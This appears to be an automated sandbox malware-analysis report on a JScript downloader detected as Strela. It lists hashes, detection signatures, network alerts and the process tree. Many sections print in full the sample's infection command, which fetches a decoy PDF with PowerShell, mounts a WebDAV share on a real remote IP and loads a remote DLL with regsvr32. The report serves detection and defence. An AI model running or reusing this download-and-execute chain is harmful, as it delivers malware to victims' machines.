Edit tour

Windows Analysis Report
11057252552282120022.js

Overview

General Information

Sample name:	11057252552282120022.js
Analysis ID:	1588186
MD5:	f75a8dfe81c96af17b34ba9f7d1b3578
SHA1:	74e528d17d5975a0f1b234199e22506122268aaf
SHA256:	1b0761b5af2f194513e06c200993b9160eb24b8ae1678b1684a02b1a878967e7
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3620 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5084 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 572 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5348 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3652 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1656,i,15161979393311407619,15882621211136608978,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4324 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1784 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6760 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3620	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 572, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 572, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", ProcessId: 3620, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1784, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 5084, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 5084, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 5084, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 5084, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 5084, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", ProcessId: 3620, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 572, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4324, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1784, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6760, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4324, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1784, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 5084, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:29:35.083238+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:29:32.375537+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 11057252552282120022.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 11057252552282120022.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:29:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.5:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49705 -> 193.143.1.205:80

Source: global traffic

